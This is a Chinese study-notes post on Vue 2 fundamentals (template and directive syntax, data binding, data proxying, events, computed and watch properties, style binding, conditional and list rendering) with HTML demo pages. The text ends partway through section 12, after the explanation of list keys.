【VUE 笔记】基础内容

文章目录

01 初识 Vue
- 1.1 简介
- - 1.1.1 官网
  - 1.1.2 介绍与描述
  - 1.1.3 Vue 的特点
  - 1.1.4 与其他 JS 框架的关联
  - 1.1.5 Vue周边库
- 1.2 初识 Vue
- - 1.2.1 前置工作
  - 1.1.2 初始Vue
02 Vue 模板语法
- 2.1 插值语法
- 2.2 指令语法
03 Vue 数据绑定
- 3.1 Vue 中有2种数据绑定的方式
- 3.2 备注
04 el 与 data 的两种写法
- 4.1 el 有两种写法
- 4.2 data 有两种写法
- 4.3 注意
05 MVVM 模型
- 5.1 MVVM模型
06 数据代理
- 6.1 回顾 Object.defineProperty 方法
- 6.2 Vue 中的数据代理
07 事件处理
- 7.1 事件的基本使用
- 7.2 Vue 中的事件修饰符
- 7.3 键盘事件
- - 7.3.1 Vue 中常用的按键别名
  - 7.3.2 Vue 未提供别名的按键
  - 7.3.3 系统修饰键
  - 7.3.4 也可以使用 `keyCode` 去指定具体的按键（不推荐）
  - 7.3.5 `Vue.config.keyCodes.自定义键名 = 键码`，可以去定制按键别名
08 计算属性
- 8.1 插值语法实现
- 8.2 method 实现
- 8.3 computed 计算属性
09 侦听属性
- 9.1 侦听属性基本用法
- - 9.1.1 watch 监视属性
  - 9.1.2 深度侦听
  - 9.1.3 侦听属性简写
- 9.2 计算属性 VS 侦听属性
- - 9.2.1 使用计算属性
  - 9.2.2 使用侦听属性
10 绑定样式
- 10.1 class 样式
- 10.2 style样式
11 条件渲染
- 11.1 `v-if`
- 11.2 `v-show`
- 11.3 备注
12 列表渲染
- 12.1 基本列表
- 12.2 key 的作用与原理
- - 12.2.1 作用
  - 12.2.2 面试题
- 12.3 列表过滤
- 12.4 列表排序
- 12.5 Vue 数据监视
- - 12.5.1 更新时的一个问题
  - 12.5.2 模拟一个数据监测
  - 12.5.3 Vue.set / vm.$set 的使用
  - 12.5.4 Vue 监测数据改变的原理
  - 12.5.5 总结数据监视
13 收集表单数据
- 13.1 收集表单数据
14 过滤器
- 14.1 定义
- 14.2 语法
- 14.3 备注
15 内置指令
- 15.1 学过的指令
- 15.2 `v-text` 指令
- 15.3 `v-html` 指令
- 15.4 `v-cloak` 指令
- 15.5 `v-once` 指令
- 15.6 `v-pre` 指令
16 自定义指令
- 16.1 局部指令
- 16.2 全局指令
- 16.3 配置对象中常用的3个回调
- 16.4 备注
- 16.5 回顾一个DOM操作
17 生命周期
- 17.1 引出生命周期
- 17.2 分析生命周期
- 17.3 总结生命周期
18 组件化编程
- 18.1 模块与组件、模块化与组件化
- - 18.1.1 图解
  - 18.1.2 模块与组件
  - 18.1.3 模块化与组件化
- 18.2 非单文件组件
- - 18.2.1 基本使用
  - 18.2.2 组件注意事项
  - 18.2.3 组件的嵌套
  - 18.2.4 VueComponent
- 18.3 单文件组件
- 18.3 单文件组件

01 初识 Vue

1.1 简介

1.1.1 官网

英文官网：https://vuejs.org/
中文官网：https://cn.vuejs.org/

1.1.2 介绍与描述

Vue是一套用来动态构建用户界面的渐进式Javascript框架
- 构建用户界面：把数据通过某种办法变成用户界面
- 渐进式：Vue可以自底向上逐层的应用，简单应用只需要一个轻量小巧的核心库，复杂应用可以引入各式各样的Vue插件
作者：尤雨溪

1.1.3 Vue 的特点

1、遵循 MVVM 模式

2、编码简洁，体积小，运行效率高，适合移动/PC端开发

3、它本身只关注 UI，可以引入其他第三方库开发项目

4、采用组件化模式，提高代码复用率、且让代码更好维护

5、声明式编码，让编码人员无需直接操作DOM，提高开发效率

使用虚拟DOM和Diff算法，尽量复用DOM节点

1.1.4 与其他 JS 框架的关联

借鉴 angular 的模板和数据绑定技术
借鉴 react 的组件化和虚拟DOM技术

1.1.5 Vue周边库

vue-cli：vue 手脚架
vue-resource（axios）：ajax 请求
vue-router：路由
vuex：状态管理（它是vue的插件但是没有用 vue-xxx 命名规则）
vue-lazyload：图片懒加载
vue-scroller：页面滑动相关
mint-ui：基于 vue 的 UI 组件库（移动端）
element-ui：基于 vue 的 UI 组件库（PC端）

1.2 初识 Vue

1.2.1 前置工作

1、给浏览器安装 Vue Devtools 插件

2、标签引入 Vue 包

3、阻止 Vue 在启动时生成提示 Vue.config.productionTip = false（可选）

4、favicon 需要将页签图标放在项目根路径，重新打开时就有了（**shift+F5 ** 强制刷新）

1.1.2 初始Vue

1、想让 Vue 工作，就必须创建一个 Vue 实例，且要传入一个配置对象

2、root 容器里的代码依然符合 html 规范，只不过混入了一些特殊的 Vue 语法

3、root 容器里的代码被称为【Vue 模板】

4、Vue 实例和容器是一一对应的

5、真实开发中只有一个 Vue 实例，并且会配合着组件一起使用

6、{{xxx}} 中的 xxx 要写js表达式，且 xxx 可以自动读取到 data 中的所有属性

7、一旦 data 中的数据发生改变，那么页面中用到该数据的地方也会自动更新

注意区分：js表达式和 js代码（语句）

表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方
- a
- a+b
- demo(1)
- x === y ? ‘a’ : ‘b’
js代码（语句）
- if(){}
- for(){}

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>初识Vue</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器 --><div id="demo"><h1>Hello，{{name.toUpperCase()}}，{{address}}</h1></div><script type="text/javascript" >Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示// 创建Vue实例new Vue({el: '#demo',    // el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串data: {             // data中用于存储数据，数据供el所指定的容器去使用，值暂时先写成一个对象name: 'cess',address: '成都'}})</script></body>
</html>

02 Vue 模板语法

2.1 插值语法

功能：用于解析标签体内容
写法：{{xxx}} ，xxx 是 js 表达式，可以直接读取到 data 中的所有区域

2.2 指令语法

功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…）
举例：<a v-bind:href="xxx"> 或简写为 <a :href="xxx">，xxx同样要写 js表达式，可以直接读取到 data 中的所有属性
备注：Vue 中有很多指令，且形式都是 v-xxx，此处只是拿 v-bind 举例

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>模板语法</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>插值语法</h2><h4>你好，{{name}}</h4><hr /><h2>指令语法</h2><a v-bind:href="tencent.url.toUpperCase()" x="hello">点我去看{{tencent.name}}1</a><a :href="tencent.url" x="hello">点我去看{{tencent.name}}2</a></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el: '#root',data: {name: 'jack',tencent: {name: '开端',url: 'https://v.qq.com/x/cover/mzc00200mp8vo9b/n0041aa087e.html',}}})</script>
</html>

03 Vue 数据绑定

3.1 Vue 中有2种数据绑定的方式

单向绑定 v-bind：数据只能从data流向页面。
双向绑定 v-model：数据不仅能从data流向页面，还可以从页面流向data

3.2 备注

双向绑定一般都应用在表单类元素上，如：<input> <select> <textarea>等
v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>数据绑定</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><!-- 普通写法 --><!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/> --><!-- 双向数据绑定：<input type="text" v-model:value="name"><br/> --><!-- 简写 -->单向数据绑定：<input type="text" :value="name"><br/>双向数据绑定：<input type="text" v-model="name"><br/><!-- 如下代码是错误的，因为 v-model 只能应用在表单类元素（输入类元素）上 --><!-- <h2 v-model:x="name">你好啊</h2> --></div><script type="text/javascript">Vue.config.productionTip = false; // 阻止 vue 在启动时生成生产提示new Vue({el: '#root',data: {name: 'cess'}})</script></body>
</html>

04 el 与 data 的两种写法

4.1 el 有两种写法

创建 Vue 实例对象的时候配置 el 属性
先创建 Vue 实例，随后再 vm.$mount('#root') 指定 el 的值

4.2 data 有两种写法

对象式：data: {}
函数式：data () { return{} }

4.3 注意

如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错

一个重要的原则：由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this 就不再是 Vue 实例了

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>el与data的两种写法</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h1>你好，{{name}}</h1></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示// el的两种写法// const v = new Vue({//     //el:'#root', // 第一种写法//  data: {//       name:'cess'//     }// })// console.log(v)// v.$mount('#root') // 第二种写法// data的两种写法new Vue({el: '#root',// data的第一种写法：对象式// data:{//    name:'cess'// }//data的第二种写法：函数式data() {console.log('@@@', this); // 此处的this是Vue实例对象return {name: 'cess'}}})</script>
</html>

05 MVVM 模型

5.1 MVVM模型

M：模型 Model：data中的数据
V：视图 View：模板代码
VM：视图模型 ViewModel：Vue实例

观察发现：

data 中所有的属性，最后都出现在了 vm 身上
vm 身上所有的属性及 Vue 原型上所有属性，在 Vue 模板中都可以直接使用

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>mvvm</title><script src="../js/vue.js"></script>
</head>
<body><div id="root"><h2>名称：{{name}}</h2><h2>战队：{{rank}}</h2><h2>测试：{{$options}}</h2></div><script>Vue.config.productionTip = falsenew Vue({el: '#root',data: { name: 'uzi',rank: 'RNG'}})</script>
</body>
</html>

06 数据代理

6.1 回顾 Object.defineProperty 方法

let number = 18
let person = {name: '张三',sex: '男',
}Object.defineProperty(person, 'age', {// value:18,// enumerable:true,        // 控制属性是否可以枚举，默认值是false// writable:true,         // 控制属性是否可以被修改，默认值是false// configurable:true // 控制属性是否可以被删除，默认值是false// 当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值get() {console.log('有人读取age属性了');return number;},// 当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值set(value) {console.log('有人修改了age属性，且值是', value);number = value;}})
// console.log(Object.keys(person));
console.log(person);

6.2 Vue 中的数据代理

何为数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）

let obj = { x: 100 }
let obj2 = { y: 200 }Object.defineProperty(obj2, 'x', {get() {return obj.x;},set(value) {obj.x = value}
})

Vue 中的数据代理：通过 vm 对象来代理 data 对象中属性的操作（读/写）
Vue 中数据代理的好处：更加方便的操作 data 中的数据
基本原理：
- 通过 Object.defineProperty() 把 data 对象中所有属性添加到 vm 上
- 为每一个添加到 vm 上的属性，都指定一个 getter setter
- 在 getter setter 内部去操作（读/写）data 中对应的属性

Vue 将 data 中的数据拷贝了一份到 _data 属性中，又将 _data 里面的属性提到 Vue 实例中（如name），通过 defineProperty 实现数据代理，这样通过 geter/setter 操作 name，进而操作 _data 中的 name。而 _data 又对 data 进行数据劫持，实现响应式

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Vue中的数据代理</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>学校名称：{{name}}</h2><h2>学校地址：{{address}}</h2></div><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#root',data: {name: '电子科技大学',address: '成都'}})</script></body>
</html>

07 事件处理

7.1 事件的基本使用

1、使用 v-on:xxx 或 @xxx 绑定事件，其中 xxx 是事件名

2、事件的回调需要配置在 methods 对象中，最终会在 vm 上

3、methods 中配置的函数，不要用箭头函数！否则this就不是vm了

4、methods 中配置的函数，都是被 Vue 所管理的函数，this 的指向是 vm 或组件实例对象

5、@click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>事件的基本使用</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>欢迎来看{{name}}的笔记</h2><!-- <button v-on:click="showInfo">点我提示信息</button> --><button @click="showInfo1">点我提示信息1（不传参）</button><button @click="showInfo2($event,66)">点我提示信息2（传参）</button></div><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#root',data: {name: 'lemon',},methods: {showInfo1(event) {console.log(event);console.log(event.target.innerText);console.log(this); // 此处的this是vmalert('同学你好！');},showInfo2(event, number) {console.log(event, number);console.log(event.target.innerText);console.log(this); // 此处的this是vmalert('同学你好！！');}}})</script></body>
</html>

7.2 Vue 中的事件修饰符

prevent：阻止默认事件（常用）
stop：阻止事件冒泡（常用）
once：事件只触发一次（常用）
capture：使用事件的捕获模式
self：只有 event.target 是当前操作的元素时才触发事件
passive：事件的默认行为立即执行，无需等待事件回调执行完毕

修饰符可以连续写，比如可以这么用 @click.prevent.stop="showInfo"

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>事件修饰符</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script><style>* {margin-top: 20px;}.demo1 {height: 50px;background-color: skyblue;}.box1 {padding: 5px;background-color: skyblue;}.box2 {padding: 5px;background-color: white;}.list {width: 200px;height: 200px;background-color: skyblue;overflow: auto;}li {height: 100px;}</style></head><body><div id="root"><h2>欢迎来到{{ name }}学习</h2><!-- 阻止默认事件（常用） --><a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a><!-- 阻止事件冒泡（常用） --><div class="demo1" @click="showInfo"><button @click.stop="showInfo">点我提示信息</button><!-- 修饰符可以连续写 --><!-- <a href="http://www.qq.com" @click.prevent.stop="showInfo">点我提示</a> --></div><!-- 事件只触发一次（常用） --><button @click.once="showInfo">点我提示信息</button><!-- 使用事件的捕获模式 --><div class="box1" @click.capture="showMsg(1)">div1<div class="box2" @click="showMsg(2)">div2</div></div><!-- 只有event.target是当前操作的元素时才触发事件 --><div class="demo1" @click.self="showInfo"><button @click="showInfo">点我提示信息</button></div><!-- 事件的默认行为立即执行，无需等待事件回调执行完毕 --><!-- scroll是滚动条滚动，passsive没有影响 --><!-- wheel是鼠标滚轮滚动，passive有影响 --><ul @wheel.passive="demo" class="list"><li>1</li><li>2</li><li>3</li><li>4</li></ul></div><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el: '#root',data: {name: 'lemon'},methods: {showInfo(e) {alert('同学你好！')// console.log(e.target);},showMsg(msg) {console.log(msg);},demo() {for (let i = 0; i < 100000; i++) {console.log('#');}console.log('累坏了');}}})</script></body>
</html>

7.3 键盘事件

7.3.1 Vue 中常用的按键别名

回车 enter
删除 delete 捕获“删除”和“退格”键
退出 esc
空格 space
换行 tab 特殊，必须配合 keydown 去使用，因为按下时焦点就已经变了
上 up
下 down
左 left
右 right

7.3.2 Vue 未提供别名的按键

可以使用按键原始的 key 值去绑定，但注意要转为kebab-case（短横线命名）

7.3.3 系统修饰键

用法特殊：ctrl alt shift meta

配合 keyup 使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发

指定 ctr+y 使用 @keyup.ctr.y
配合 keydown 使用：正常触发事件

7.3.4 也可以使用 `keyCode` 去指定具体的按键（不推荐）

7.3.5 `Vue.config.keyCodes.自定义键名 = 键码`，可以去定制按键别名

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>键盘事件</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>欢迎打开{{name}}笔记</h2><input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"><br/><input type="text" placeholder="按下tab提示输入" @keydown.tab="showInfo"><br/><input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo"><br/></div><script type="text/javascript">Vue.config.productionTip = false;  // 阻止 vue 在启动时生成生产提示Vue.config.keyCodes.huiche = 13;       // 定义了一个别名按键new Vue({el: '#root',data: {name: 'lemon'},methods: {showInfo(e) {console.log(e.key,e.keyCode);console.log(e.target.value);}},})</script></body>
</html>

08 计算属性

8.1 插值语法实现

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>姓名案例_插值语法实现</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root">姓：<input type="text" v-model="firstName"> <br/><br/>名：<input type="text" v-model="lastName"> <br/><br/>全名：<span>{{firstName}}-{{lastName}}</span></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{firstName:'张',lastName:'三'}})</script>
</html>

8.2 method 实现

数据发生变化，模板就会被重新解析

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>姓名案例_methods实现</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root">姓：<input type="text" v-model="firstName"> <br/><br/>名：<input type="text" v-model="lastName"> <br/><br/>全名：<span>{{fullName()}}</span></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{firstName:'张',lastName:'三'},methods: {fullName(){console.log('@---fullName');return this.firstName + '-' + this.lastName;}},})</script>
</html>

8.3 computed 计算属性

1、定义：要用的属性不存在，需要通过已有属性计算得来

2、原理：底层借助了 Objcet.defineproperty() 方法提供的 getter 和 setter

3、get 函数什么时候执行？

初次读取时会执行一次
当依赖的数据发生改变时会被再次调用

4、优势：与 methods 实现相比，内部有缓存机制（复用），效率更高，调试方便

5、备注

计算属性最终会出现在 vm 上，直接读取使用即可
如果计算属性要被修改，那必须写 set 函数去响应修改，且 set 中要引起计算时依赖的数据发生改变
如果计算属性确定不考虑修改，可以使用计算属性的简写形式

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>姓名案例_计算属性实现</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root">姓：<input type="text" v-model="firstName"> <br/><br/>名：<input type="text" v-model="lastName"> <br/><br/>全名：<span>{{fullName}}</span> <br/><br/></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示const vm = new Vue({el:'#root',data:{firstName:'张',lastName:'三',},computed:{//完整写法/* fullName:{get(){console.log('get被调用了');return this.firstName + '-' + this.lastName;},set(value){console.log('set',value);const arr = value.split('-');this.firstName = arr[0];this.lastName = arr[1];}} *///简写//fullName会作为属性名，return的内容为属性值，绑定在data上fullName(){console.log('get被调用了');return this.firstName + '-' + this.lastName;}}})</script>
</html>

09 侦听属性

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天气案例</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>今天天气很{{info}}</h2><!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句 --><!-- <button @click="isHot = !isHot">切换天气</button> --><button @click="changeWeather">切换天气</button></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,},computed:{info(){return this.isHot ? '炎热' : '凉爽';}},methods: {changeWeather(){this.isHot = !this.isHot;}},})</script>
</html>

9.1 侦听属性基本用法

9.1.1 watch 监视属性

1、当被监视的属性变化时，回调函数自动调用，进行相关操作

2、监视的属性必须存在，才能进行监视，既可以监视 data，也可以监视计算属性

3、配置项属性 immediate:false，改为 true，则初始化时调用一次 handler(newValue,oldValue)

4、监视有两种写法

创建 Vue 时传入 watch: {} 配置
通过 vm.$watch() 监视

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天气案例_监视属性</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 监视属性watch：1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作2.监视的属性必须存在，才能进行监视！！3.监视的两种写法：(1).new Vue时传入watch配置(2).通过vm.$watch监视--><!-- 准备好一个容器--><div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,},computed:{info(){return this.isHot ? '炎热' : '凉爽';}},methods: {changeWeather(){this.isHot = !this.isHot;}},/* watch:{isHot:{immediate:true, //初始化时让handler调用一下//handler什么时候调用？当isHot发生改变时。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue);}}} */})vm.$watch('isHot',{immediate:true, //初始化时让handler调用一下//handler什么时候调用？当isHot发生改变时。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue);}})</script>
</html>

9.1.2 深度侦听

1、Vue 中的 watch 默认不监测对象内部值的改变（一层）

2、在 watch 中配置 deep:true 可以监测对象内部值的改变（多层）

注意

1、Vue 自身可以监测对象内部值的改变，但 Vue 提供的 watch 默认不可以

2、使用 watch 时根据监视数据的具体结构，决定是否采用深度监视

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天气案例_深度监视</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button><hr/><h3>a的值是:{{numbers.a}}</h3><button @click="numbers.a++">点我让a+1</button><h3>b的值是:{{numbers.b}}</h3><button @click="numbers.b++">点我让b+1</button><button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,numbers:{a:1,b:1}},computed:{info(){return this.isHot ? '炎热' : '凉爽';}},methods: {changeWeather(){this.isHot = !this.isHot;}},watch:{isHot:{// immediate:true, //初始化时让handler调用一下//handler什么时候调用？当isHot发生改变时。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue);}},//监视多级结构中某个属性的变化/* 'numbers.a':{handler(){console.log('a被改变了');}} *///监视多级结构中所有属性的变化numbers:{deep:true,handler(){console.log('numbers改变了');}}}})</script>
</html>

9.1.3 侦听属性简写

如果监视属性除了handler没有其他配置项的话，可以进行简写

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天气案例_监视属性_简写</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,},computed:{info(){return this.isHot ? '炎热' : '凉爽';}},methods: {changeWeather(){this.isHot = !this.isHot;}},watch:{//正常写法/* isHot:{// immediate:true, //初始化时让handler调用一下// deep:true, //深度监视handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue);}}, *///简写isHot(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue,this);}}})//正常写法/* vm.$watch('isHot',{immediate:true, //初始化时让handler调用一下deep:true, //深度监视handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue);}}) *///简写/* vm.$watch('isHot',(newValue,oldValue)=>{console.log('isHot被修改了',newValue,oldValue,this);}) */</script>
</html>

9.2 计算属性 VS 侦听属性

computed 和 watch 之间的区别

computed 能完成的功能，watch 都可以完成
watch 能完成的功能，computed 不一定能完成，例如 watch 可以进行异步操作两个重要的小原则
所有被 Vue 管理的函数，最好写成普通函数，这样 this 的指向才是 vm 或组件实例对象
所有不被 Vue 所管理的函数（定时器的回调函数、ajax 的回调函数等、Promise 的回调函数），最好写成箭头函数，这样 this 的指向才是 vm 或组件实例对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UCGZUboN-1649943808205)(.\vue_basic_imges\8-1.png)]

9.2.1 使用计算属性

new Vue({el:'#root', data:{ firstName:'张',lastName:'三'},computed:{fullName(){return this.firstName + '-' + this.lastName}}
})

9.2.2 使用侦听属性

new Vue({el:'#root',data:{firstName:'张',lastName:'三',fullName:'张-三'},watch:{firstName(val){setTimeout(()=>{this.fullName = val + '-' + this.lastName},1000);},lastName(val){this.fullName = this.firstName + '-' + val}}
})

10 绑定样式

10.1 class 样式

写法：class="xxx"，xxx 可以是字符串、对象、数组
- 字符串写法适用于：类名不确定，要动态获取
- 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定
- 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用

10.2 style样式

:style="{fontSize: xxx}"，其中 xxx 是动态值
:style="[a,b]"，其中 a、b 是样式对象

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>绑定样式</title><style>.basic{width: 400px;height: 100px;border: 1px solid black;}.happy{border: 4px solid red;;background-color: rgba(255, 255, 0, 0.644);background: linear-gradient(30deg,yellow,pink,orange,yellow);}.sad{border: 4px dashed rgb(2, 197, 2);background-color: gray;}.normal{background-color: skyblue;}.atguigu1{background-color: yellowgreen;}.atguigu2{font-size: 30px;text-shadow:2px 2px 10px red;}.atguigu3{border-radius: 20px;}</style><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 --><div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/><!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 --><div class="basic" :class="classArr">{{name}}</div> <br/><br/><!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 --><div class="basic" :class="classObj">{{name}}</div> <br/><br/><!-- 绑定style样式--对象写法 --><div class="basic" :style="styleObj">{{name}}</div> <br/><br/><!-- 绑定style样式--数组写法 --><div class="basic" :style="styleArr">{{name}}</div></div></body><script type="text/javascript">Vue.config.productionTip = false;const vm = new Vue({el:'#root',data:{name:'lemon',mood:'normal',classArr:['atguigu1','atguigu2','atguigu3'],classObj:{atguigu1:false,atguigu2:false},styleObj:{fontSize: '40px',color:'red',},styleObj2:{backgroundColor:'orange'},styleArr:[{fontSize: '40px',color:'blue'},{backgroundColor:'gray'}]},methods: {changeMood(){const arr = ['happy','sad','normal'];const index = Math.floor(Math.random()*3);this.mood = arr[index];}},})</script></html>

11 条件渲染

11.1 `v-if`

写法：跟 if else 语法类似
- v-if="表达式"
- v-else-if="表达式"
- v-else
适用于：切换频率较低的场景，因为不展示的DOM元素直接被移除
注意：v-if 可以和 v-else-if v-else 一起使用，但要求结构不能被打断

11.2 `v-show`

写法：v-show="表达式"
适用于：切换频率较高的场景
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉 display: none

11.3 备注

使用 v-if 的时候，元素可能无法获取到，而使用 v-show 一定可以获取到 template 标签不影响结构，页面 html 中不会有此标签，但只能配合 v-if，不能配合 v-show

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>条件渲染</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button><!-- 使用v-show做条件渲染 --><!-- <h2 v-show="false">欢迎来到{{name}}</h2> --><!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> --><!-- 使用v-if做条件渲染 --><!-- <h2 v-if="false">欢迎来到{{name}}</h2> --><!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> --><!-- v-else和v-else-if --><!-- <div v-if="n === 1">Angular</div><div v-else-if="n === 2">React</div><div v-else-if="n === 3">Vue</div><div v-else>哈哈</div> --><!-- v-if与template的配合使用 --><template v-if="n === 1"><h2>你好</h2><h2>lemon</h2><h2>北京</h2></template></div></body><script type="text/javascript">Vue.config.productionTip = falseconst vm = new Vue({el:'#root',data:{name:'lemon',n:0}})</script>
</html>

12 列表渲染

12.1 基本列表

v-for 指令

用于展示列表数据
语法：<li v-for="(item, index) of xxx" :key="yyy">，这里 key 可以是 index，更好的是遍历对象的唯一标识 id
可遍历：数组、对象、字符串（用的少）、指定次数（用的少）

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>基本列表</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><!-- 遍历数组 --><h2>人员列表（遍历数组）</h2><ul><li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}</li></ul><!-- 遍历对象 --><h2>汽车信息（遍历对象）</h2><ul><li v-for="(value,k) of car" :key="k">{{k}}-{{value}}</li></ul><!-- 遍历字符串 --><h2>测试遍历字符串（用得少）</h2><ul><li v-for="(char,index) of str" :key="index">{{char}}-{{index}}</li></ul><!-- 遍历指定次数 --><h2>测试遍历指定次数（用得少）</h2><ul><li v-for="(number,index) of 5" :key="index">{{index}}-{{number}}</li></ul></div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{persons:[{id:'001',name:'张三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}],car:{name:'奥迪A8',price:'70万',color:'黑色'},str:'hello'}})</script>
</html>

12.2 key 的作用与原理

12.2.1 作用

12.2.2 面试题

react vue 中的 key 有什么作用？（key 的内部原理）

1、虚拟DOM中 key 的作用：

key 是虚拟DOM对象的标识，当数据发生变化时，Vue 会根据新数据生成新的虚拟DOM

随后 Vue 进行新虚拟DOM与旧虚拟DOM的差异比较，比较规则如下

2、对比规则：

旧虚拟DOM中找到了与新虚拟DOM相同的 key
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM
- 若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM
旧虚拟DOM中未找到与新虚拟DOM相同的key
- 创建新的真实DOM，随后渲染到到页面

3、用 index 作为 key 可能会引发的问题：

若对数据进行逆序添加、逆序删除等破坏顺序操作，会产生没有必要的真实DOM更新 ==> 界面效果没问题，但效率低
如果结构中还包含输入类的DOM，会产生错误DOM更新 ==> 界面有问题

4、开发中如何选择key？

最好使用每条数据的唯一标识作为key，比如id、手机号、身份证号、学号等唯一值
如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用 index 作为 key 是没有问题的

<!DOCTYPE html>
